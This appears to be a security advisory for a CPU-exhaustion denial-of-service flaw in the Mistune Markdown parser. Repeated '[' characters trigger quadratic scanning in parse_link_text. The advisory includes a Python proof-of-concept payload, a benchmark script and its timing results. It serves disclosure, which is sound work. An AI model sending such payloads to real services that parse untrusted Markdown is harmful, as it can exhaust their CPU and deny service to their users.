CVE-2026-49851

Summary Mistune is vulnerable to a CPU exhaustion DoS due to superlinear (approximately O(n²)) behavior in parse_link_text. A relatively small input consisting of repeated [ characters causes significant parsing slowdown. Affected component mistune/inline_parser.py → **parse_link_text** Description When parsing Markdown containing many consecutive [ characters, parse_link_text repeatedly scans the input using a regex search inside a loop. Each iteration re-scans a large portion of the remaining string, resulting in quadratic-time behavior. An attacker-controlled Markdown input can therefore trigger excessive CPU usage with a very small payload. Root cause The vulnerability stems from a two-loop interaction: - The outer loop in InlineParser.parse() (inline_parser.py) advances only 1 character at a time when parse_link() returns None - Each failed attempt calls parse_link_text() which performs an O(n) scan to the end of the string looking for a closing ] - With n consecutive [ characters, this results in O(n) × O(n) = O(n²) total work PoC Run below python script import mistune import time md = mistune.create_markdown() s = "[" * 6400 t = time.perf_counter() md(s) print(time.perf_counter() - t) <img width="2028" height="1277" alt="image" src="https://github.com/user-attachments/assets/15d5bc0b-35f8-4a15-85e0-cbc314a45b06" /> Benmark poc Run below code for benchmark import mistune import time md = mistune.create_markdown() sizes = [100,200,400,800,1600,3200,6400] for n in sizes: s = "[" * n t0 = time.perf_counter() md(s) dt = time.perf_counter() - t0 print(f"{n:6d} {dt:.6f}") <img width="2503" height="1341" alt="image" src="https://github.com/user-attachments/assets/f09a7bbb-6927-4ba2-afb1-444dd913b84e" /> Observed behaviour python3 benchmark.py 100 0.001609 200 0.003207 400 0.012906 800 0.050220 1600 0.197307 3200 0.801172 6400 3.190393 Execution time grows superlinearly, consistent with O(n²) complex Impact This can be used as a denial-of-service

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